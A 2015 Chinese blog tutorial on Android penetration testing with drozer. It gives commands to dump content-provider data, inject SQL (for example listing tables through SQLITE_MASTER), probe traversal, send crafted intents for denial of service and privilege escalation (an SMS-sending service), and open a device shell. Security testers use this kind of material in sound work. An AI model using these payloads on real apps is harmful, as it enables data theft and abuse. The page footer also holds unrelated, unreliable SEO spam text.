qileilove

          blog已經(jīng)轉(zhuǎn)移至github,大家請?jiān)L問 http://qaseven.github.io/

          利用drozer進(jìn)行Android滲透測試

           一、安裝與啟動(dòng)
            1. 安裝
            第一步:從http://mwr.to/drozer下載Drozer (Windows Installer)
            第二步:在Android設(shè)備中安裝agent.apk
            adb install agent.apk
            2. 啟動(dòng)
            第一步:在PC上使用adb進(jìn)行端口轉(zhuǎn)發(fā),轉(zhuǎn)發(fā)到Drozer使用的端口31415
            adb forward tcp:31415 tcp:31415
            第二步:在Android設(shè)備上開啟Drozer Agent
            選擇embedded server-enable
            第三步:在PC上開啟Drozer console
            drozer console connect
            二、測試步驟
            1.獲取包名
            dz> run app.package.list -f sieve
            com.mwr.example.sieve
            2.獲取應(yīng)用的基本信息
            run app.package.info -a com.mwr.example.sieve
            3.確定攻擊面
            run app.package.attacksurface com.mwr.example.sieve
            4.Activity
            (1)獲取activity信息
            run app.activity.info -a com.mwr.example.sieve
            (2)啟動(dòng)activity
            run app.activity.start --component com.mwr.example.sieve
            dz> help app.activity.start
            usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
            [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
            [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
            [--mimetype MIMETYPE]
            5.Content Provider
            (1)獲取Content Provider信息
            run app.provider.info -a com.mwr.example.sieve
            (2)Content Providers(數(shù)據(jù)泄露)
            先獲取所有可以訪問的Uri:
            run scanner.provider.finduris -a com.mwr.example.sieve
            獲取各個(gè)Uri的數(shù)據(jù):
            run app.provider.query
            content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
            查詢到數(shù)據(jù)說明存在漏洞
            (3)Content Providers(SQL注入)
            run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
            run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
            報(bào)錯(cuò)則說明存在SQL注入。
            列出所有表:
            run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
            獲取某個(gè)表(如Key)中的數(shù)據(jù):
            run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
            (4)同時(shí)檢測SQL注入和目錄遍歷
            run scanner.provider.injection -a com.mwr.example.sieve
            run scanner.provider.traversal -a com.mwr.example.sieve
            6 intent組件觸發(fā)(拒絕服務(wù)、權(quán)限提升)
            利用intent對組件的觸發(fā)一般有兩類漏洞,一類是拒絕服務(wù),一類的權(quán)限提升。拒絕服務(wù)危害性比較低,更多的只是影響應(yīng)用服務(wù)質(zhì)量;而權(quán)限提升將使得沒有該權(quán)限的應(yīng)用可以通過intent觸發(fā)擁有該權(quán)限的應(yīng)用,從而幫助其完成越權(quán)行為。
            1.查看暴露的廣播組件信息:
            run app.broadcast.info -a com.package.name  獲取broadcast receivers信息
            run app.broadcast.send --component 包名 --action android.intent.action.XXX
            2.嘗試拒絕服務(wù)攻擊檢測,向廣播組件發(fā)送不完整intent(空action或空extras):
            run app.broadcast.send 通過intent發(fā)送broadcast receiver
            (1)   空action
            run app.broadcast.send --component 包名 ReceiverName
            run app.broadcast.send --component 包名 ReceiverName
            (2)   空extras
            run app.broadcast.send --action android.intent.action.XXX
            3.嘗試權(quán)限提升
            權(quán)限提升其實(shí)和拒絕服務(wù)很類似,只不過目的變成構(gòu)造更為完整、更能滿足程序邏輯的intent。由于activity一般多于用戶交互有關(guān),所以基 于intent的權(quán)限提升更多針對broadcast receiver和service。與drozer相關(guān)的權(quán)限提升工具,可以參考IntentFuzzer,其結(jié)合了drozer以及hook技術(shù),采用 feedback策略進(jìn)行fuzzing。以下僅僅列舉drozer發(fā)送intent的命令:
            (1)獲取service詳情
            run app.service.info -a com.mwr.example.sieve
            不使用drozer啟動(dòng)service
            am startservice –n 包名/service名
            (2)權(quán)限提升
            run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
            7.文件操作
            列出指定文件路徑里全局可寫/可讀的文件
            run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
            run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
            run app.broadcast.send --component 包名 --action android.intent.action.XXX
            8.其它模塊
            shell.start 在設(shè)備上開啟一個(gè)交互shell
            tools.file.upload / tools.file.download 上傳/下載文件到設(shè)備
            tools.setup.busybox / tools.setup.minimalsu 安裝可用的二進(jìn)制文件

          posted on 2015-03-18 22:06 順其自然EVO 閱讀(6003) 評論(0)  編輯  收藏 所屬分類: 測試學(xué)習(xí)專欄android

          <2015年3月>
          22232425262728
          1234567
          891011121314
          15161718192021
          22232425262728
          2930311234

          導(dǎo)航

          統(tǒng)計(jì)

          常用鏈接

          留言簿(55)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          搜索

          最新評論

          閱讀排行榜

          評論排行榜

          主站蜘蛛池模板: 寿阳县| 宜君县| 樟树市| 高台县| 易门县| 南陵县| 于都县| 广东省| 大名县| 利辛县| 项城市| 光山县| 古丈县| 崇信县| 平昌县| 会泽县| 双桥区| 阳西县| 郸城县| 密山市| 基隆市| 嘉黎县| 罗源县| 舒城县| 黄龙县| 嘉善县| 奎屯市| 牟定县| 丹江口市| 巴彦淖尔市| 赤峰市| 丽江市| 乌审旗| 射阳县| 武隆县| 内江市| 巴塘县| 沐川县| 广州市| 柳州市| 广丰县|